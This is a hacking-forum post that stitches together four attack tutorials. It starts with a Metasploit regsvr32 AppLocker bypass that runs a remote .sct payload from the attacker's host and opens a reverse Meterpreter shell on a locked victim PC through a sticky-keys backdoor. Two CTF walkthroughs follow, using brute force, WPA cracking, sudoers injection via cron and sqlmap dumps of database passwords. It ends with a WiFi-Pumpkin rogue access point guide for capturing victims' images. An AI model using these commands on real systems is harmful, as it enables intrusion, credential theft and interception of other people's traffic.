Login

**NINZA** · 04-25-2020, 04:50 AM

0			0

Today we will discover how to take Meterpreter session of a pc in a network which is switched on but is locked.

Let us assume that our victim’s pc already has sticky keys attack enabled on it. To know more about sticky keys, visit

[To see content please register here]

.

You will need physical access to the victim’s pc for this attack. Press the “shift” key 5 times on the victim’s pc to bring up the command prompt.

Next, we run metasploit on our own pc. $msfconsole
[Image: 2.png?w=687&ssl=1]

Thereafter, we search for regsvr32_applocker_bypass_server and use the exploit followed by setting the payload, lhost, lport and run exploit.

use exploit/windows/misc/regsvr32_applocker_bypass_server

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.106

set lport 4444

exploit

Take down the command generated by metasploit and run it on the victim pc’s command prompt
Regsvr32 /s /n /u /i:http://192.168.0.106:8080/nKCCncmdb.sct scrobj.dll
[Image: 4.png?w=687&ssl=1]

Voila, we have the session of victim’s pc on our meterpreter.
[Image: 5.png?w=687&ssl=1]

Today in our CTF challenge series we are going to do Billy Madison. This VM is based on 90’s movie Billy Madison, hence the name of the VM. The main aim of this VM is to figure out how Eric took over the machine and then undo his changes so you can recover Billy’s 12th-grade final project. You will probably need to root the VM to complete this objective. Without further ado let’s start.

Download the lab from

[To see content please register here]

Walkthrough

Let’s locate our target first.

netdiscover
1
netdiscover

Our target is 192.168.1.103. Scan it with nmap.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Okay! So from nmap we have discovered the port : 22, 23, 69, 80, 137, 138, 139, 445, 2525. So, I opened our target in the browser at port 69.

A WordPress website opens. I explored this lot and tried to exploit it but it was useless. So I simply opened our target in the browser at its by-default port i.e. 80. The following page opens.
[Image: 4.png?w=687&ssl=1]

Then I explored the smb port.
smbclient -L 192.168.0.103
1
smbclient -L 192.168.0.103
When it asks for a password then just hit enter without entering a password.
[Image: 5.png?w=687&ssl=1]

It just told us that backdoor is currently closed. So then I traversed telnet.
telnet 192.168.0.103
1
telnet 192.168.0.103
[Image: 7.png?w=687&ssl=1]

There was a message in telnet telling us the password and that it has been encrypted with ROT13(hint: ROTten). Let’s decode it.

By decrypting it, it comes to be as exschmenuating. Now this could be a directory so I opened it in the browser

Now in the browser, it opened a webpage which gave us a few hints for moving forward. Through conclusion, we now know that there is a .cap file. And that it is saved with the name which includes ‘veronica’ and that name and is derived from rockyou.txt.

Now there are many names in rockyou.txt but we only need the ones with to have Veronica in it and for that use the following command:

grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt
1
grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt

Execution of the above command will create a text file with names Veronica in it. Now use this text file and find the file which had Veronica in it through DirBuster. And for this, open DirBuster and give the URL in the Target URL text box and then give the path of the text file you just created using grep command. Give the directory name in Dir to start with the text box and then give cap as the file extension.
[Image: 11.png?w=687&ssl=1]

As a result, it will show you 012987veronica.cap file.

Open it in the browser. It will ask you to download it, go ahead with it.

Now check the TCP stream of every packet. In of it, you will find an email sent from Eric to Veronica, telling her to download a certain antivirus.
[Image: 14.png?w=687&ssl=1]

In another TCP stream, you will find that Veronica has replied to Eric, saying that to share the link through FTP server along with a youtube link.

Again in a TCP stream of a packet, you will find that Eric has told her about his username and password.

Ok! So we have eric’s username and password. Keep that with you for later use. Meanwhile, let’s check out the youtube link.

In the video, it says the combination of some numbers. Now, these numbers could be used for port knocking. So, let’s try it.

for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done
1
for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done

Then to check I fired up the nmap again.

nmap -p- 192.168.0.103
1
nmap -p- 192.168.0.103

And Voila!! FTP port opened on 21. Lets’ enter through it now as we have username and password. Remember The password and username for eric we discovered earlier.

ftp 192.168.0.103
1
ftp 192.168.0.103

Now let’s see the directories in it.

dir
1
dir

There is a file named .notes. I decided to read it but before doing so I had to download it, therefore, type :

get .notes
exit
1
2
get .notes
exit

Now that notes file is downloaded, type the following command in the terminal of kali to read it:

cat .notes
1
cat .notes

There was a message in the notes by eric. Now if you remember the conversation of Veronica and eric then you would know that there are two users on the ftp server. the second one is Veronica. Naturally, I decided to use hydra to apply the brute force attack on FTP to get the username and password using the same dictionary file which I had created with grep.

hydra –l veronica –P /root/Desktop/ver.txt

[To see content please register here]

1
hydra –l veronica –P /root/Desktop/ver.txt

[To see content please register here]

And yes!! We have the password along with username i.e. veronica and [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login respectively. Then I decided to explore more of FTP with veronica’s username and password and I found two files there: one is of .cap and other .eml and downloaded them both and to achieve so type the combination of the following commands:

ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml
1
2
3
4
5
ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml

Let’s read the email now.

In the mail, he says how he hacks Eric’s wireless password. But if you observe everything you will find that he has used swaks to send this mail. Now swaks is an SMTP server that is a featureful, flexible, scriptable, transaction-oriented tool developed by John Jetmore. So, therefore I used the following command next:

swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"
1
swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"

Further, I used aircrack-ng to monitor eg-01.cap to because the email that was sent through the swaks mentioned something about the wifi password.

aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt
1
aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt

And with aircrack-ng, we found the password of wireless i.e. triscuit*.

Now if you again scan it with nmap.
nmap -p- -A 192.168.0.103
1
nmap -p- -A 192.168.0.103
[Image: 28.png?w=687&ssl=1]

As a result, you can see that a new port opens i.e. 1974 with SSH service. Let’s try and log in with SSH.

ssh [email protected] –p 1974
1
ssh [email protected] –p 1974

And then give the password triscuit*. Once I was logged in I checked it Linux version with the following command but it was not exploitable.

lsb_release –a
1
lsb_release –a

Then typed following command to see what it has to offer :

ls

There I found a text file so I decided to read it.

cat why-1974.txt

Then type the following command:
find / -perm -2000 –type f 2>/dev/null
1
find / -perm -2000 –type f 2>/dev/null
[Image: 30.png?w=687&ssl=1]

I was pretty lost here so decided to take some help from Mr Goblin (

[To see content please register here]

) and so type the following set of commands:
touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
1
2
3
4
5
touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
[Image: 31.png?w=687&ssl=1]

This way you will escalate the privileges and reach the root. Let’s see what files root has:

ls
1
ls

I decided to read /PRIVATE file.

cd /PRIVATE
ls
1
2
cd /PRIVATE
ls

Here, I found hint.txt and BowelMovement files. First I opened hint.txt.

cat hint.txt
1
cat hint.txt

In this file, he is talking about the BowelMovement file and about its password which is the link given. So I copied the BowelMovement file.

cp BowelMovement /var/www/html
1
cp BowelMovement /var/www/html

And then I created a dictionary file using cewl and that link.
cewl --depth 0

[To see content please register here]

> /root/Desktop/billt.txt
1
cewl --depth 0

[To see content please register here]

> /root/Desktop/billt.txt
[Image: 33.png?w=687&ssl=1]

By brute force, you will find the correct password from this dictionary file. Using that password open the movement file that you have downloaded. BowelM.

And then open the same in the terminal of kali and type :

ls

There is a file called secret.zip, unzip it.

unzip secret.zip
1
unzip secret.zip

In the zipped folder, there were two files. I decided to read them both.

cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc
1
2
cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc

Finally! We have solved the CTF. Enjoy!

This is another article for Boot2Root series in CTF challenges. This lab is prepared by HollyGracefull. This is just a preview of the original lab which stimulates the E-commerce web application which contains common security errors. Current vulnerabilities are listed below :

SQL Injection (Error-based)
SQL Injection (Blind)
Reflected Cross-Site Scripting
Stored Cross-Site Scripting
Insecure Direct-Object Reference
Username Enumeration
Path Traversal
Exposed phpinfo()
Exposed Administrative Interface
Weak Admin Credentials

WalkThrough

Firstly, let’s locate our target.

netdiscover

Our target is 192.168.1.8. Let’s scan it with nmap.
nmap –p- -A 192.168.1.8
[Image: 2.png?w=687&ssl=1]

The only port we found open was 80. Next, we fire up the Nikto.
nikto –h 192.168.1.8
[Image: 3.png?w=687&ssl=1]

Through nikto we discovered two directories : /admin/ and /images/. OK! Let’s make its mental note and decided to move forward with opening our target in the browser.
[Image: 4.1.png?w=687&ssl=1]

Opening it on the browser we found that it was an e-commerce site as hinted by the author. We checked every tab but found nothing except in the blog tab.
[Image: 4.png?w=687&ssl=1]

In the blog tab, when you will hover your mouse arrow over the admin in the phrase ‘Hey Admin!’. It will change from arrow to a hand that indicates that means it will open as it a click on.
[Image: 5.png?w=687&ssl=1]

When you click on it, it will show a username of admin. Ok! I made a note of it. Let’s now check the clothing tab.
[Image: 6.png?w=687&ssl=1]

There is nothing useful in this tab. As the author hinted that the website is vulnerable towards SQL attacks so let’s try one. This time let’s try a different SQL attack using BurpSuite. Capture the cookies of the webpage through BurpSuite.
[Image: 7.png?w=687&ssl=1]

Copy the cooky string and paste it in a simple text file.
[Image: 8.png?w=687&ssl=1]

Then start the SQL attack by typing the following command in the terminal of Kali.
sqlmap –r /root/Desktop/sea.txt –dbs
Here,
/root/Desktop/sea.txt is the path of the text file in which we had saved the cookies.
[Image: 9.png?w=687&ssl=1]

This command will give us the name of the following database.
[Image: 10.png?w=687&ssl=1]

Out of these databases, we will dump the tables of seattle with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –tables
[Image: 11.png?w=687&ssl=1]

And with that, we will have all the name of the tables as you can see in the following image.
[Image: 12.png?w=687&ssl=1]

Next, we will dump the columns of the tables with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblMembers –columns
[Image: 13.png?w=687&ssl=1]

The execution of the above command will show the table names as follows:
[Image: 14.png?w=687&ssl=1]

Now in the table names, there is a table password. Now we already have the username of the admin and we just want the password. So now we will dump the contents of the password table.
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblmembers –C password –dump
[Image: 15.png?w=687&ssl=1]

And voila! We have the password i.e. Assasin1
[Image: 16.png?w=687&ssl=1]

Now in the browser, go to my account tab and there you will find a login portal. Give the username and password of the admin and click on Login.
[Image: 17.png?w=687&ssl=1]

And you will be logged in as the admin.
[Image: 18.png?w=687&ssl=1]

This CTF does contain any flag. All that required was to have admin access and yooohoooo!! We have that.

WiFi-Pumpkin is an open source security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. Using WiFi Pumpkin, one can create a wifi network that captures all the requests made within the network by any device that connects to the network.

First of all, u need to download WiFi Pumpkin and install it in your Kali Linux. To download WiFi Pumpkin, go to

[To see content please register here]

and click on Clone or Download. Thereafter, copy the URL to the clipboard and open the terminal. Type in:-

git clone “URL copied to clipboard”

Next, go to the directory of WiFi Pumpkin on the terminal. For eg., if the repo is downloaded to the Desktop, type:

cd Desktop WiFi-Pumpkin
./installer.sh --install
1
2
cd Desktop WiFi-Pumpkin
./installer.sh --install

Thereafter, run wifi-pumpkin:

This will open the GUI version of WiFi-Pumpkin. Now select the network adapter and change the SSID from PumpAP and rename it as desired.

Thereafter click on the Start button. This will create a new wifi-zone with the name entered in the SSID field.

Now as soon as any device connects to this wifi network, its details will be shown in the table at the right. Select any target device from the list of connected device/s and select Active Driftnet from the Tools menu.

As soon as Driftnet starts, it will start sending screenshots from the victim’s desktop/mobile. This will also capture the images of facebook.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis